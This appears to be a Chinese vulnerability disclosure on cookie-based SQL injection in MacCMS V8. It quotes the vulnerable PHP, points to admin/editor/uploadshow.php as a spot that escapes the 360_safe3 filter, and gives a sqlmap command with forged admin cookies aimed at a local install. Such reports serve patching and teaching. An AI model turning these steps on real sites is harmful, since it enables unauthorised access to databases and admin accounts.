### 简要描述: 现在 V8版本 基本全部文件都有zend加密了。 而且还有360_safe3.php保护 刚开始以为没搞头的,结果有个妹子发来微信。 妹子:在干嘛? 我:挖洞 妹子:一个人挖? 我:对啊! 妹子:我过去陪你一起挖吧! 我马上关机。擦,想跟老子抢乌云币?果断一个人作死开挖 ### 详细说明: 是cookie注入,有gpc限制,4处注入点 重现下发现过程 1. inc/common/function.php 直接获取cookie,未过滤 ``` function getCookie($key) { if(!isset($_COOKIE[$key])){ return ''; } else{ return $_COOKIE[$key]; } } ``` 2. admin/admin_conn.php chkLogin() 函数获取cookie未过滤 ``` function chkLogin() { global $db; $m_id = getCookie('adminid'); //这里直接没有过滤 $m_name = getCookie('adminname'); //这里直接没有过滤 $m_check = getCookie('admincheck'); //这里直接没有过滤 /* print '$m_id='.$m_id.' '; print '$m_name='.$m_name.' '; print '$m_check='.$m_check.' '; */ if (!isN($m_name) && !isN($m_id)){ /* print '$sql='; print 'SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1'; print ' '; */ $row = $db->getRow('SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1'); if($row){ $loginValidate = md5($row['m_random']...
### 简要描述: 现在 V8版本 基本全部文件都有zend加密了。 而且还有360_safe3.php保护 刚开始以为没搞头的,结果有个妹子发来微信。 妹子:在干嘛? 我:挖洞 妹子:一个人挖? 我:对啊! 妹子:我过去陪你一起挖吧! 我马上关机。擦,想跟老子抢乌云币?果断一个人作死开挖 ### 详细说明: 是cookie注入,有gpc限制,4处注入点 重现下发现过程 1. inc/common/function.php 直接获取cookie,未过滤 ``` function getCookie($key) { if(!isset($_COOKIE[$key])){ return ''; } else{ return $_COOKIE[$key]; } } ``` 2. admin/admin_conn.php chkLogin() 函数获取cookie未过滤 ``` function chkLogin() { global $db; $m_id = getCookie('adminid'); //这里直接没有过滤 $m_name = getCookie('adminname'); //这里直接没有过滤 $m_check = getCookie('admincheck'); //这里直接没有过滤 /* print '$m_id='.$m_id.' '; print '$m_name='.$m_name.' '; print '$m_check='.$m_check.' '; */ if (!isN($m_name) && !isN($m_id)){ /* print '$sql='; print 'SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1'; print ' '; */ $row = $db->getRow('SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1'); if($row){ $loginValidate = md5($row['m_random'] . $row['m_name'] . $row['m_id']); if ($m_check != $loginValidate){ sCookie ('admincheck',''); redirect('?m=admin-login','top.'); } } else{ sCookie ('admincheck',''); redirect('?m=admin-login','top.'); } } else{ redirect('?m=admin-login','top.'); } } ``` 3. admin/editor/uploadshow.php 但是cookie都通过了360_safe3.php保护,怎么办呢?当然是找漏网之鱼了,发现几处 ``` <?php require(dirname(__FILE__) .'/../admin_conn.php'); chkLogin(); $action=be("get","action"); $id=be("get","id"); $path=be("get","path"); ?> ``` 此处调用完全没过滤,直接sqlmap开搞即可 其它几处类似注入点 [<img src="https://images.seebug.org/upload/201405/251133203ad9377d8e7d1fbb40cc04d26df248ce.jpg" alt="2.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/251133203ad9377d8e7d1fbb40cc04d26df248ce.jpg) ### 漏洞证明: 官网不是这个程序,本地搭的 >sqlmap.py -u "http://localhost/maccms8/admin/editor/uplo adshow.php" --cookie="adminid=1; adminname=admin; admincheck=aaaa" -p cookie [<img src="https://images.seebug.org/upload/201405/2511311309ed73fed9bd982c3c0b0d736752b997.jpg" alt="1.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/2511311309ed73fed9bd982c3c0b0d736752b997.jpg)